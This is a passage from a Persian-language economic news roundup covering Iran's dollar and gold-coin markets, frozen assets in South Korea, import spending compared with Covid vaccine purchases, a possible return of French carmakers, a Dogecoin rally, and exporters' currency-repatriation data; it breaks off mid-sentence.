در بین ۲۵ گروه کالای اساسی در حال حاضر در کنار دارو و تجهیزات و ملزومات پزشکی فقط پنج قلم دیگر ارز ترجیحی با نرخ ۴۲۰۰ جهت واردات دریافت می کند و ما بقی با ارز نیمایی تامین ارز می شود.

در قانون بودجه سال جاری نیز با وجود تغییراتی که در محاسبه حقوق ورودی کالاهای واردات اعمال شد، اقلام اساسی و تجهیزات پزشکی مستثنی شده است؛ به طوری که محاسبه حقوق ورودی این اقلام با نرخ ۴۲۰۰ انجام می شود ولی برای سایر کالاها مصوبه بودجه بر نرخ سامانه ای تی اس بانک مرکزی که نرخ حاشیه بازار است تاکید دارد ولی فعلا با مصوبه هیات وزیران به روال گذشته برای تمامی اقلام اعمال می شود.

 

۱۲ : آرام سازی بازار ارز در دستور کار

عرضه دلار متشکل و قیمت دلار در این بازار در روز جاری سیاست بانک مرکزی در مورد نوسان شدید قیمتی دلار در روز یکشنبه را تعیین خواهد کرد.

قیمت دلار آمریکا بعد از افت قیمت ناگهانی که در روز گذشته به ثبت رساند، امروز قدری افزایش یافت و دوباره بالای سطح ۲۲ هزار تومان قرار گرفت، اما دوباره کاهشی شد و با نرخ ۲۱ هزار و ۹۸۰ تومان معاملات نیمه اول روز را به پایان رساند.

برخی از تحلیل‌گران معتقد بودند که افت ناگهانی قیمت‌ها ناشی از واکنش‌های روانی بود و ممکن است قیمت‌ها به همین سرعت افزایش یابد. برای جلوگیری از این اتفاق کنترل بانک مرکزی و محدود کردن دامنه نوسانات نیاز است. حجم عرضه بازار متشکل در روز جاری می‌تواند، سیاست بانک مرکزی در این خصوص را تعیین کند.

روند تغییرات قیمتی در بازار متشکل در روز گذشته با امروز متفاوت بود. قیمت ابتدایی دلار متشکل نسبت به نرخ متوسط روز گذشته ۴۱۳ تومان کاهش داشت، در ادامه معاملات نرخ دلار متشکل با دامنه بسیار پایین نوسان داشت و اختلاف بین نرخ‌های اعلام شده از ۲۵ تومان فراتر نرفت. اما در روز گذشته اختلاف بین قیمت‌ها زیاد بود و مثلا در یک مقطع قیمت دلار متشکل نزدیک به ۲۰۰ تومان افت کرد. برخی معتقدند این کاهش دامنه تغییرات نرخ متشکل معنی‌دار است و بانک مرکزی سعی در آرام کردن بازار دارد.

نوسان قیمت دلار حول ۲۲ هزار تومان
قیمت دلار آمریکا در روز گذشته افت قابل توجهی را به ثبت رساند. نرخ دلار در انتهای روز بیش از ۱۰۰۰ تومان نسبت به نرخ انتهایی روز شنبه کاهش یافت و رقم‌هایی نزدیک به ۲۱ هزار و ۹۷۰ تومان را به ثبت رساند. بسیاری از فعالان بازار افت ناگهانی قیمت‌ها را با تاثیرات روانی اخبار مرتبط می‌دانستند و انتظار جبران بخشی از افت قیمت را می‌کشیدند. همین اتفاق رخ داد. قیمت دلار در شروع معاملات روز دوشنبه نسبت به نرخ انتهایی روز گذشته ۲۷۰ تومان افزایش یافت و روی رقم ۲۲ هزار و ۲۴۰ تومان قرار گرفت. اما دوباره کاهشی شد و معاملات نیمه اول روز را با نرخ ۲۱ هزار و ۹۸۰ تومان به پایان رساند.

لزوم کنترل نوسان قیمت دلار
برخی از تحلیل‌گران افت سریع قیمت در روز یکشنبه را نگران‌کننده می‌دانستند و معتقد بودند بانک مرکزی باید از طریق ابزاری که در اختیار دارد نوسان قیمتی را کاهش دهد، زیرا کاهش قیمت‌ها به واسطه تاثیرات روانی ممکن است سریع برگشت کند و زمینه بهره جویی نوسان‌گیران و سوداگران را فراهم کند. آن‌ها معتقد بودند بانک مرکزی باید با کم کردن دامنه نوسانات سوداگران را خسته کند و نقش آن‌ها را در بازار کمرنگ کند. با این وجود روند نزولی قیمت دلار متشکل در روز دوشنبه نیز دنبال شد. گرچه سرعت کاهش قیمت در امروز پایین تر از روز قبل بود.میانگین قیمت دلار متشکل در روز گذشته ۲۱ هزار و ۹۹۹ تومان و در امروز ۲۱ هزار و ۵۸۶ تومان گزارش شد.

قیمت ارز بازارهای مجاور
قیمت دلار هرات در شروع معاملات روز دوشنبه ۲۲ هزار و ۳۷۰ تومان بود، نرخ دلار هرات در ادامه قدری نوسان کرد و در حوالی ۲۲ هزار و ۳۶۰ تومان قرار گرفت.

درهم امارات روز گذشته به تبعیت از دلار افت کرد و روی ۶ هزار و ۹۵ تومان قرار گرفت، در ابتدای امر قیمت درهم قدری رشد کرد و معاملات روز دوشنبه را در حوالی ۶ هزار و ۱۴۵ تومان آغاز کرد اما دوباره کاهشی شد و در پایان معاملات نیمه اول روز روی ۶ هزار و ۷۰ تومان قرار گرفت.

حجم معاملات در بازار سکه پایین است
در ساعات ابتدایی حجم مبادلات در بازار سکه بسیار پایین بود. طلای جهانی در حال رشد بود و در حالی که هفته گذشته را با قیمت زیر ۱۷۷۰ دلار پایان داد، در نخستین ساعات شروع هفته کاری بازارهای جهانی مرز ۱۷۸۰ دلار را لمس کرد، البته قیمت طلا دوباره افت کرد و به ۱۷۷۵ دلار نزدیک شد. قیمت بسته شده سکه در روز گذشته ۹ میلیون و ۶۰۰ هزار تومان بود. حتی با احتساب این قیمت‌ها قیمت واقعی سکه ۹ میلیون و ۳۰۰ هزار تومان و اندازه حباب حدود ۳.۱۸ درصد به دست آمد. اندازه حباب بزرگتر از آن بود که بتواند محرک جدی برای بالا بردن قیمت سکه باشد و قیمت واقعی سکه نیز پایین بود. اما گویی بازار سکه انتظار تغییراتی در قیمت دلار و طلای جهانی را داشت و حجم معاملات بازار سکه در نیمه اول روز پایین بود، قیمت‌ها نیز در حوالی همان نرخ‌های روز گذشته نوسان می‌کرد.

 

۱۳ : احتمالا بخشی از دارایی‌های آزاد شده مربوط به کره جنوبی باشد

رییس اتاق بازرگانی ایران و کره جنوبی گفت: احتمالا بخشی از دارایی‌های آزاد شده هم مربوط به کره باشد، اما چون بنده اطلاع دقیقی ندارم، نمی‌توانم بصورت قطعی اظهار نظر کنم. اما شواهد نشان می‌دهد کره‌ای‌ها در این موضوع جدی هستند.

لحظاتی پیش شبکه تلویزیونی المیادین به نقل از یک مقام مسئول ایرانی اعلام کرد: آمریکا هفت میلیارد دلار از دارایی های توقیف شده ایران را آزاد می‌کند.

ایران در کشورهای مختلف دارایی بلوک شده دارد که یکی از آنها کشورها کره جنوبی است که بیشتر از سایر کشورها در رسانه‌ها مطرح شده است. به گفته بانک مرکزی کره جنوبی ۷ میلیارد دلار از پول‌های ایران را مسدود کرده است.

از همین روی احتمالا بخشی از این پول‌های آزاد شده مربوط به کره جنوبی باشد. حسین تنهایی در این مورد گفت: کره‌ای‌ها در این مورد صحبت کرده‌اند و ارتباط نزدیکی با آمریکا دارند. احتمالا ارتباط‌ها در این زمینه نزدیک شود بطوریکه بزودی یکی از مسئولان این کشور به ایران سفر خواهد کرد.

 

۱۴ : واردات موز و توتون به جای واکسن کرونا

هزینه خرید واکسن کرونا برای کل جمعیت ایران تنها ۲ میلیارد دلار است. اما به گفته رئیس اتحادیه واردکنندگان دارو دولت در تنگنای مالی قرار دارد و همین رقم اندک را هم ندارد. این در حالی است که در سال ۹۹ بیش از ۴.۵ میلیارد دلار صرف واردات گوشی تلفن همراه، موز و توتون شده است.
ناصر ریاحی، عضو کمیسیون سلامت اتاق تهران اعلام کرد که خرید واکسن کرونا برای کل جمعیت کشور فقط به ۲ میلیارد دلار نیاز دارد. اما دولت تاکنون نتوانسته واکسن مورد نیاز را بخرد چون هم در تنگنای مالی قرار دارد و هم به دلیل تحریم‌ها پول قابل انتقال ندارد.

اما نکته قابل توجه این است که در حالی گفته می‌شود که دولت توان مالی خرید واکسن کرونا را ندارد که تنها در سال ۹۹ حدود ۲ میلیارد و ۴۰۰ میلیون دلار صرف واردات گوشی همراه شده است. این یعنی سال ۹۹ معادل مبلغ مورد نیاز برای خرید واکسن کرونا، گوشی تلفن همراه وارد شده.

براساس آمارهای گمرک در سال ۹۹ کالاهای مصرفی بسیاری وارد شده است که برخی از آنها بیشترین میزان ارزبری را داشته است. برای مثال در سال گذشته ۲۵۵ میلیون دلار صرف واردات موز شده است. یعنی یک دهم مبلغ مورد نیاز خرید واکسن کرونا موز وارد کشور کرده ایم.

یا مثلا ۱۸۱ میلیون دلار صرف واردات داروهای هورمونی شده. خرید توتون هم ۱۳۰ میلیون دلار ارزبری داشته و خرید مکمل‌های دارویی ۸۵ میلیون دلار.

نگاهی به لیست ۱۰ قلم کالای مصرفی که بیشترین میزان ارزبری را در سال ۹۹ داشته نشان می‌دهد دولت در مجموع ۴ میلیارد و ۶۰۰ میلیون دلار صرف واردات گوشی، موز، توتون و انواع مکمل دارویی، گوشت، برنج و … کرده اما برای خرید واکسن کرونا پول ندارد.

آمار جالب دیگر این است که در سال ۹۹ دولت ۹ میلیارد دلار (۴.۵ برابر رقم لازم برای خرید واکسن کرونا) هزینه کرده تا کالاهای اساسی را با قیمت ارزان وارد کشور کند. به عبارتی دولت ۴.۵ برابر پول مورد نیاز کشور برای واردات واکسن را صرف کنترل قیمت‌ها کرده است. آن هم ارز ۴۲۰۰ تومانی را.

حتی با فرض اینکه دولت به دلیل تحریم‌ها توان واردات واکسن را نداشته باشد،‌ می‌توانست زودتر این مسئولیت را به عهده بخش خصوصی بگذارد. اما اکنون ریاحی گفته اولین محموله واکسن آزمایشی کرونا تازه اول خرداد وارد کشور می‌شود و بعد از آن اگر همه چیز طبق برنامه پیش برود بخش خصوصی می‌تواند هر هفته ۲۵۰ هزار دوز واکسن کرونا وارد کشور کند.

حتی دولت به دلیل مشکل مالی و مشکل تحریم نتوانسته حدود ۱۶ میلیون دوز واکسن کواکس را بخرد و وارد کشور کند. نتیجه نخریدن واکسن کرونا، ۷۲ هزار کشته از سال گذشته تا کنون است. براساس آمارهای رسمی ماهانه بیش از ۵ هزار نفر در ایران جان خود را بر اثر کرونا از دست می‌دهند اما دولت هنوز نتوانسته مقدار قابل توجهی واکسن وارد کشور کند.

نکته قابل توجه دیگر این است که به گفته رئیس کل بانک مرکزی تنها ۱۰۰میلیون دلار برای خرید واکسن کرونا به وزارت بهداشت پرداخت شده است. اما این رقم یک بیستم رقم مورد نیاز برای خرید واکسن است و جالب اینکه بودجه دولت برای خرید واکسن کرونا در حالی ۱۰۰ میلیون دلار است که در سال کذشته ۲.۵ برابر این رقم موز و ۱.۳ برابر این رقم توتون وارد کشور شده است.

 

۱۵ : معافیت مالیاتی سود سپرده های بانکی به ادارات کل مالیاتی ابلاغ شد

معاون سازمان امور مالیاتی معافیت مالیاتی سود سپرده های بانکی تا سقف اعلامی شورای پول و اعتبار را به ادارت کل امور مالیاتی استان ها ابلاغ کرد.

بر اساس این بخشنامه، به دستور وزیر اقتصاد، سودهای علی الحساب سپرده‌های بانک‌ها و مؤسسات اعتباری تا سقف مصوب شورای پول و اعتبارT معادل هزینه قابل قبول مالیاتی بوده و بالاتر از نرخ مصوب شورای پول و اعتبار، به عنوان هزینه قابل قبول مالیاتی محاسبه نمی‌شود.

 

۱۶ : از بازگشت خودروسازان خارجی به ایران چه خبر؟

چندی پیش زمزمه‌های بازگشت دوباره شرکت‌های فرانسوی رنو و پژو به ایران و همکاری آن‌ها با خودروسازان داخلی شنیده شد. البته به نظر می‌رسد که شرکت طرف قرارداد با رنو در ایران (پارس خودرو) تمایل چندانی به آغاز مجدد همکاری‌ با آن ندارد.

در پی قوت گرفتن احیای برجام، احتمال بازگشت شرکت‌های خودروسازی خارجی که تا پیش از تحریم‌ ها در ایران فعال بوده و همکاری داشته‌اند، دوباره گمانه‌زنی شد. این در حالی است که شرکت رنو فرانسه می‌خواهد پس از برداشته شدن تحریم‌ها، مجددا فعالیت خود را با خودروسازان ایرانی از سر گیرد و به ایران بازگردد.

پس از ادغام پژو- سیتروئن با فیات-کرایسلر و تولد برند استلانتیس، ظاهرا احتمال بازگشت پژو به ایران کمتر شده اما زمزمه‌های بازگشت رنو همچنان باقی است.

باتوجه به اینکه شرکای خارجی طی ۱۶ سال اخیر چندان متعهدانه با ایران رفتار نکرده‌اند و در فواصل مختلف زمانی به همکاری و قطع همکاری پرداخته‌اند، بازگشت آن‌ها چندان منطقی به نظر نمی‌رسد؛ چراکه پس از تحریم صنعت خودرو ایران، خودروسازان و مجموعه صنعت خودرو (شامل خودروسازی، قطعه‌سازی و زنجیره تامین) علاوه‌ براینکه در سایه تحریم‌ها بسیار تحت فشار قرار گرفتند، بدعهدی شرکای خارجی نیز در اصلاح دست آن‌ها در “پوست گردو” گذاشت و آنها را متحمل فشاری بیشتر از حیث تعداد بالایی خودروی فروخته شده به مشتریان کرد.

این در حالی است که برخی فعالان این صنعت، بازگشت رنو را تایید کرده و معتقدند خودروساز فرانسوی طی چند سال اخیر منتظر لغو تحریم‌ها بوده‌اند تا به ایران بازگشته و ادامه همکاری‌ها را از سر گیرند. البته گویا رنویی‌ها واژه «بازگشت» را چندان قبول ندارند، چراکه معتقدند به‌طور کامل از ایران نرفته و تنها همکاری‌ها را تعلیق کرده‌ بودند.

در حقیقت شرکت فرانسوی رنو برای دومین مرتبه در سال ۱۳۹۷ پس از آغاز تحریم‌ها که به دنبال لغو توافق هسته‌ای و خروج آمریکا از برجام اتفاق افتاد، همکاری‌ها با خودروسازان ایرانی را قطع و ایران را ترک کرد. پس از خروج رنو از ایران، سایپا (بطور دقیق‌تر پارس‌خودرو) ماند و تعداد بسیاری از تعهدهای ال ۹۰ و ساندرو که به مشتریان فروخته شده بود اما امکان تکمیل و عرضه به مشتری نداشت؛ لذا این شرکت در رابطه با برخی ساندروها مجبور به جایگزینی آن‌ها با سایر محصولات سایپا شد و تندر۹۰ را هم تا جایی که می‌توانست تکمیل، مجوزهای شماره‌گذاری‌ها را دریافت و به صاحبان آن‌ها عرضه کرد.

تیرماه سال گذشته، قائم مقام سایپا نیز از بدعهدی شرکای تجاری گلایه کرد و آن را عامل ایجاد چالش جدی در نظام فروش سایپا دانست و تصریح کرد که شرکای تجاری ما یکباره علیرغم تعهدها و قرادادهایی که داشتند، خلف وعده کرده و از ادامه همکاری سرباز زند؛ در نتجیه ۴۹ هزار تعهد معوق برای ما ایجاد شد و مجبور شدیم به‌جای آن‌ها سه خودروی در حال تولید جایگزین کنیم؛ بنابراین بیش از ۱۴۰ هزار خودرو، تعهد برای سایپا ایجاد شد اما این موضوع ساماندهی و تعهدات آن‌ها تعیین تکلیف شد.

در نهایت پس از مکاتبات، مراجعات و مذاکرات متعدد با سازمان‌های مرتبط، در آبان ماه سال گذشته، سازمان محیط زیست با این شرط که خودروها از مدل ۹۹ به مدل سال ۹۸ تبدیل شوند، با شماره‌گذاری و ترخیص ۳۰۰۰ خودرو از محصولات خانواده رنو، موافقت کرد.

این موضوع در رابطه با خروج پژو از ایران و قطع همکاری‌ها نیز رخ داد و مشکلاتی را بر ای ایران‌ خودرو ایجاد کرد.

باید و نبایدهای همکاری دوباره با خودروسازان خارجی
در این رابطه محمدرضا نجفی‌منش- عضو هیات نمایندگان اتاق بازرگانی تهران و رئیس انجمن تخصصی صنایع همگن، نیرومحرکه و قطعه‌سازی – در یک اجتماع مجازی، ضمن اینکه خروج دولت از صنعت خودرو را ضروری دانست، پیرامون بازگشت مجدد پژو و رنو به ایران، گفته که باتوجه به اینکه شرکت‌های مذکور با میل و اراده خود از ایران نرفته، بلکه تحت فشار آمریکا مجبور به قطع همکاری شدند و براین اساس بخشی از سرمایه خود را جا گذاشتند، بازگشت رنو و پژو چندان هم بد نیست.

وی افزود: در حال حاضر بسیاری از شرکت‌های خودروساز در دنیا در حال ادغام هستند و با این وجود ورود پژو و رنو به ایران به معنای همکاری با شرکت‌های رده سوم و چهارم دنیا است. اگر بتوانیم در داخل این مجموعه نسبت به ادغام شرکت‌ها و مجموعه‌سازی اقدام کنیم به‌طور قطع به صلاح صنعت خودرو عمل کرده‌ایم؛ لذا بهتر است که مجددا با شرکای خارجی همکاری داشته باشیم تا اینگونه دولت از مدیریت صنعت خودرو خارج شود. لازم است دولت تنها نسبت به نظارت بر صنعت خودرو اقدام کند.

فرآیند همکاری با خارجی‌ها باید مورد بازنگری قرار گیرد
در این جمع مجازی، محمدرضا معتمد -مدیرعامل سابق ایکاپ (شرکت مشترک ایران‌خودروی و پژو فرانسه)- نیز ضمن اشاره به اینکه در روزهای اوج خودروسازی، در بخش‌های مهمی شاهد ظرفیت خالی بودیم که منجر به افزایش قیمت می‌شد، گفت: بنابراین در نگاه به بازگشت شرکای خارجی باید نسبت به سنجش ظرفیت‌ها اقدام کنیم. باید بپذیریم خودرو نان شب نیست اما می‌تواند اثرات جانبی در نان شب بگذارد؛ بنابراین فضای بالادستی همواره مورد اغفال قرار گرفته؛ درحالی‌که باید از این ظرفیت‌ها استفاده درستی کنیم.

وی ضمن تاکید بر جذب حداکثری اظهار کرد: باتوجه به شرایط تحریمی لازم است فرآیند جذب مورد بازنگری قرار گیرد تا حداکثری شود. این در حالی است که حجم نیروی کار با پتانسیل در ایران بسیار مناسب بوده و تنها لازم است این ظرفیت‌ها بالفعل شود که جای این امر در اسناد بالادستی خالی است.

فرانسوی‌ها شریک خوبی نیستند
سعید مدنی- مدیرعامل اسبق گروه خودروسازی سایپا- نیز در این جمع، در رابطه با بازگشت رنو و پژو به ایران، ضمن تاکید براینکه عادی شدن روابط در صنعت خودرو و نبود فضای رقابتی، نه‌تنها کمکی به این صنعت نخواهد کرد، بلکه دچار مشکلات بیشتری هم خواهیم شد، گفت: لذا بایستی از از تجربیات گذشته استفاده کنیم. در شرایط فعلی بسیار باید حواس‌ها جمع باشد. در زمان تحریم معمولا برنامه‌ریزی‌هایی صورت می‌گیرد که بعد از برداشته شدن تحریم‌ها، فراموش می‌شوند و پس از مدتی می‌بینیم که تمام دستاوردها هم فراموش شده‌اند.

وی یادآور شد: زمانیکه فروش نفت دچار افت شد، کشور به سمت برنامه‌ریزی‌های جامعی رفت، اما پس از افزایش مجدد فروش نفت، برنامه‌ریزی فراموش شد. نوسانات تحریمی همیشه وجود داشته است. پس از انقلاب هشت سال جنگ تحمیلی و مابقی را در جنگ اقتصادی بوده‌ایم و آمریکا همیشه به دنبال تحریم ایران بوده است.

مدنی تصریح کرد: تجربیات خوبی در صنعت خودروسازی و به‌ویژه در همکاری با فرانسوی‌ها وجود داشت. فرانسوی‌ها شریک خوبی نیستند و تکنولوژی را به خوبی منتقل نمی‌کنند. رفتارهای آن‌ها واقعی نیست و هر زمان موقعیت را مناسب دیدند با ما همکاری می‌کنند و در غیر اینصورت همکاری را قطع می‌کنند. ما بایستی بتوانیم با انتقال دانش، تولید خودرو را افزایش قابل توجهی دهیم و بر روی پلتفرم‌های داخلی کار کنیم. در حال حاضر هم تخصص و هم توانایی این موضوع را داریم. چنانچه ۵۰ درصد ظرفیت تولید خودرو بر روی پلتفرم داخلی باشد، می‌توانیم در مذاکره برگ برنده داشته باشیم.

مدیرعامل اسبق سایپا ضمن تاکید براینکه بدون ارتباط با دنیا نمی‌توان رشد کرد، گفت: چنانچه بهترین‌ خودروها را هم تولید کنیم، اما با خودروسازان دیگر در جهان رقابت نباشیم، ثمره‌ای نخواهد داشت. لازم است که ارتباطات جهانی داشته باشیم اما بایستی نظارت و پایش هم وجود داشته باشد و اینگونه نباشد که شرکت‌ها هر کاری که دوست داشتند، انجام دهند.

همه این‌ها در حالی است که بررسی سایت کدال و آمار فروش ارائه شده از سوی شرکت پارس‌خودرو در فروردین ماه امسال نشان می‌دهد که این شرکت پس از تکمیل تمامی رنوهای باقی‌مانده از سال‌های گذشته (که در نیمه دوم سال ۱۳۹۹ اتفاق افتاد و در مهرماه سال گذشته قریب به ۳۲۶ دستگاه تحویل مشتریان شد)، در فروردین ماه سال ۱۴۰۰ تنها یک دستگاه به‌فروش رسانده است.

شاید این موضوع شاهدی باشد برای آنکه پرونده رنوها در ایران بسته شود و با توجه به اتمام رنوهای باقی‌مانده و به صفر نزدیک شدن فروش آن‌ها، احتمال بازگشت رنو به پارس‌خودرو و آغاز مجدد تولید این محصولات را کمرنگ کند؛ ضمن اینکه در گفت‌وگوهای شفاهی با این شرکت نیز به نظر نمی‌رسد که این شراکت مجدد قصد شکل‌گیری داشته باشد.

براین اساس احتمالا موضوع تولید تندر۹۰ ایرانی که تیرماه سال گذشته توسط مدیرعامل گروه خودروسازی سایپا “در حال پیگیری” مطرح شد، منتفی باشد.

سیدجواد سلیمانی گفته بود که پلتفرم طراحی شده در پژوهشکده خودرو دانشگاه علم و صنعت بر مبنای پلتفرم پایه N۹۰ بوده و به همین دلیل تولید داخلی خودرو L۹۰ روی این پلتفرم بین سازمان گسترش و نوسازی صنایع ایران، دانشگاه علم و صنعت و گروه خودروسازی سایپا در حال بررسی و پیگیری است. به گفته وی قرار بود خودروی طراحی شده دانشگاه علم و صنعت در سال ۱۳۹۵ تولید شود اما وضعیت موتور و گیربکس آن مشخص نیست.

 

۱۷ : روزهای اوج دوج کوین /سوپرایز برای ارزهای دیجیتال

 برخی کارشناسان بر این باورند که مجری بودن ایلان ماسک در برنامه اس ان ال ) برنامه کمدی اواخر شب برنده جایزه امی ان بی سی) در روز شنبه موجب رشد دوج کوین شدخ زیرا ماسک یکی از طرفداران Dogecoin است و امکان صحبت در مورد ارز در تلویزیون ملی برای او می تواند تقاضای بیشتری را به دنبال داشته باشد.

در روزی که گذشت دوج کوین روند افزایشی به خود گرفت. این در حالی است که بقیه بخش های ارزهای دیجیتالی روند متفاوتی به خود گرفت. این ارز دیجیتالی که بر اساس طرح سگ شیبا اینو در بازار عرضه می شود در روزی که گذشت بیش از ۱۰ درصد افزایش قیمت داشت و به بیش ۶۹ سنت رسید.

برخی کارشناسان بر این باورند که این رشد به دلیل مجری بودن ایلان ماسک در برنامه اس ان ال ( برنامه کمدی اواخر شب برنده جایزه امی ان بی سی)  در روز شنبه  است. ماسک یکی از طرفداران Dogecoin است و امکان صحبت در مورد ارز در تلویزیون از طرف او می تواند تقاضای بیشتری را به دنبال داشته باشد. بسیاری منتظر هستند تا ببنیند ماسک در برنامه ای که خود مجری است چه کسی را مهمان خواهد کرد و چه خواهد گفت. برنامه شنبه شب سوپرایز جدید ماسک برای بازار های ارز دیجتالی به حساب می آید.

برخی اعتقاد دارند:وقتی او در برنامه SNL درباره دوج کوین صحبت کند، به یک گروه مخاطب کاملاً جدید دست یافته است.امید گسترده‌ای در میان طرفداران دوج کوین به وجود آمده که وقتی ماسک در این برنامه از دوج کوین صحبت کند، نظر گروه جدیدی را جلب خواهد کرد و آنها پس از صحبت‌های او برای خرید این ارز هجوم می‌آورند.اگر برنامه نمایشی به‌اندازه کافی خنده‌دار، به‌موقع و با دیدگاه صعودی باشد، انتظار و البته برای کسانی که با این پیش‌بینی در دوج کوین سرمایه‌گذاری می‌کنند «قمار»، این است که قیمت دوج کوین به‌شدت بالا خواهد رفت.

دوج کوین به عنوان یک شوخی در سال ۲۰۱۳ آغاز شد ، در زمانی که رونق ارزهای رمزپایه در ابتدای راه بود و سیل کوین های کوچک و ابتدایی وارد بازار شد. Doge محبوبیت خود را به دست آورد ، ظاهرا  توجه میلیاردرهایی مانند ایلان ماسک مدیرعامل تسلا و مارک کوبن سرمایه گذار آمریکایی و دسترسی آسان از طریق برنامه تجارت آزاد رابین هود باعث افزایش محبوبیت این ارز شده است.

روند بیت کوین
خانم یلن وزیر خزانه داری آمریکا در دو روز گذشته مورد توجه بازار ها بود صحبت های اولیه او درباره احتمال افزایش نرخ بهره موجب فشار فروش در بازار ها شد.او گفته بو شاید لازم باشد در اقتصاد آمریکا به افزایش نرخ بهره نیز فکر شود. این اظهارت خلاف اظهارات قبلی یلن بود یلن قبلا گفته بود پیش بینی نمی کند تورم برای اقتصاد ایالات متحده مشکلی ایجاد کند و هرگونه افزایش قیمت به دلیل کمبودهای زنجیره تأمین و بازگشت مجدد قیمت نفت زود گذر است با عین حال این احتمال را مطرح کرد که ممکن است نرخ بهره برای مقابله با عواقب سیاست احیای اقتصادی آمریکا افزایش یابد.

بسیاری از ناظران باسابقه بازار با منطق او موافقت هستند ، که اساساً برای جلوگیری از تورم جدی افزایش نرخ بهره لازم است حتی دواجونز تیتر زده همه چیز تورم را فریاد می زند. نرخ بهره کمک می کند نقدینگی در اقتصاد تنظیم شود و اثر این تنظیم در مدیریت نرخ تورم منعکس می شود. در روز گذشته پس از آنکه یلن مواضع خود درباره افزایش نرخ بهره را روشن تر ساخت رشد قیمت تجربه کرد. زیرا یلن پس از انعکاس حمایت او از افزایش نرخ بهره در جریان یک رویداد آنلاین به میزبانی وال استریت ژورنال در مورد این اظهار نظر توضیح داد: «این چیزی نیست که من پیش بینی یا توصیه می کنم»رئیس سابق بانک فدرال ، روز چهارشنبه گزارش بلومبرگ ، افزود: «اگر کسی از استقلال فدرال رزرو قدردانی می کند ، فکر می کنم آن شخص من هستم.» اشاره او استقلال بانک مرکزی از این جهت است که تعیین نرخ بهره در حیطه اختیار بانک مرکزی است. پس از این سخنان بیت کوین که به کف ۵۳ هزار دلار نزدیک شده بود پس از توضیحات یلن با افزایش بیش از ۵ درصد به قیمت ۵۶ هزار و ۸۴۱ دلار رسید.

قیمت طلا در روزی که گذشت
قیمت طلا در روز چهارشنبه کمی بهبود یافت. بازده خزانه داری ایالات متحده به دنبال گزارش کمی حقوق ، کمی پایین تر از حد انتظار پیش رفت. این اتفاق موجب شد قیمت طلا در معاملات روز چهارشنبه به طور نسبی بالاتر رود ، علاوه بر این رشد قیمت روز چهارشنبه به دلیل برخی عوامل فنی و افزایش قیمت نفت خام بوده است. قیمت نفت خام که امروز به بالاترین سطح در دو ماه گذشته رسید قیمت طلا در پایان معاملا روز در محدوده ۱۷۸۶ دلار بسته شد که هفت دلار از قیمت روز سه شنبه بالاتر بود.

 

۱۸ : کارنامه بازگشت ارز۲۴ هزار صادرکننده

کارنامه رفع تعهد ارزی ۲۴ هزار صادرکننده در دوره سه‌ساله منتشر شد. بعد از تغییر سیاست‌های ارزی و تجاری کشور از فروردین‌ماه سال ۹۷، صادرکنندگان ملزم شدند که ارز خود را براساس مکانیزم‌های پیش‌بینی‌شده ازسوی سیاستگذار، به چرخه اقتصادی برگردانند. دوره‌ای که با خروج ترامپ از توافق هسته‌ای، فرآیند اجرای برجام را نیز با تعلیق مواجه کرد. گزارش سازمان توسعه تجارت از آخرین وضعیت ایفای تعهدات ارزی نشان می‌دهد از ۲۱ فروردین‌ماه سال ۹۷ تا ۳۰ آبان ۹۹، بیش از ۲۴هزار صادرکننده که ارزآوران عصر بی‌برجامی محسوب می‌شوند، ۷۰ میلیارد و ۲۰۰ میلیون یورو صادرات داشته‌اند. در این میان، تولیدکنندگان ۷/ ۵۲ میلیارد یورو کالا صادر کرده‌اند که میزان تعهد ارزی آنها ۲/ ۴۵میلیارد یورو بوده که بیش از ۸۸درصد معادل ۱/ ۴۰میلیارد یورو ایفای تعهد کرده‌اند. ازسوی دیگر، شرکت‌های غیرتولیدی نیز ۵/ ۱۷میلیارد یورو صادرات داشته‌اند که میزان تعهد ارزی آنها ۱۵میلیارد یورو برآورد شده، این در حالی است که ۳/ ۳میلیارد یورو ایفای تعهد ارزی داشته‌اند.

آخرین وضعیت ایفای تعهدات ارزی اعلام و براساس آن رفتار صادرکنندگان از ابتدای الزام تعهد ارزی مشخص شد. در گزارشی که از سوی احسان قمری، دبیر کمیته اقدام ارزی و ناهید دشتدار، معاون دفتر توسعه خدمات بازرگانی تهیه شده، عنوان شده است که از ۲۱ فروردین ۱۳۹۷ تا ۳۰ آبان ماه سال گذشته، ۲۴هزار و ۱۱۵صادرکننده، نسبت به صادرات ۲/ ۷۰ میلیارد یورو اقدام کرده‌اند. در عین حال صادرکنندگان در بازه زمانی ۲۱ فروردین ۱۳۹۷ لغایت ۳۰ اسفندماه ۱۳۹۹ با احتساب فرصت ۴ ماهه ایفای تعهدات ارزی، نسبت به بازگشت ۳/ ۴۳ میلیارد یورو ارز به چرخه اقتصادی کشور اقدام کرده‌اند که با در نظر گرفتن تعدیل ۲۰ درصدی سال ۱۳۹۷ و تعدیل ۱۰ درصدی سال‌های ۱۳۹۸ و ۱۳۹۹، مجموع تعهدات ارزی صادرکنندگان برابر با ۳/ ۶۰ میلیارد یورو است. آمارهای اعلام شده در این گزارش نشان می‌دهد اگرچه تعداد صادرکنندگان فاقد کارت بازرگانی (مرزنشینان، پیله وران و …) بیش از افرادی است که کارت بازرگانی دارند، اما میزان صادرات این گروه قابل‌توجه نیست. بنابراین میزان تعهد و عدم رفع تعهد ارزی این گروه ناچیز است.

کارنامه تعهد ارزی در یک نگاه
از مجموع ۲۴۱۱۵ صادرکننده، ۱۱۴۸۶ صادرکننده واجد کارت بازرگانی و مابقی فاقد کارت بازرگانی بوده‌اند. در گزارش پیش رو، آمارهای اعلام شده نشان می‌دهد از نظر تعداد، ۴۸ درصد صادرکنندگان در بازه زمانی گفته شده (۲۱ فروردین ۹۷-۳۰ آبان ۹۹)، واجد کارت بازرگانی بوده و ۵۲ درصد آنها نیز فاقد کارت بازرگانی هستند. به عبارتی ۱۱ هزار و ۴۸۶ نفر دارای کارت بازرگانی اعم از حقیقی و حقوقی بوده و ۱۲ هزار و ۶۲۹ نفر فاقد کارت بازرگانی هستند. اما میزان صادرات واجدین کارت بازرگانی از ۲۱ فروردین ۹۷ تا ۳۰ آبان ۹۹ به ۶۸ میلیارد و ۲۰۰ میلیون یورو می‌رسد. در حالی که در این بازه زمانی تنها ۲ میلیارد یورو از سوی صادرکنندگان فاقد کارت بازرگانی به بازارهای هدف صادر شده است. به عبارتی ۹۷ درصد از صادرات در بازه زمانی مورد بررسی از سوی صادرکنندگان دارای کارت بازرگانی صورت گرفته است. میزان تعهد ارزی این گروه ۵۸ میلیارد و ۶۰۰ میلیون یورو بوده که ۳/ ۹۷ درصد از کل میزان تعهد ارزی را در برمی‌گیرد. اما گروه فاقد کارت بازرگانی ملزم به 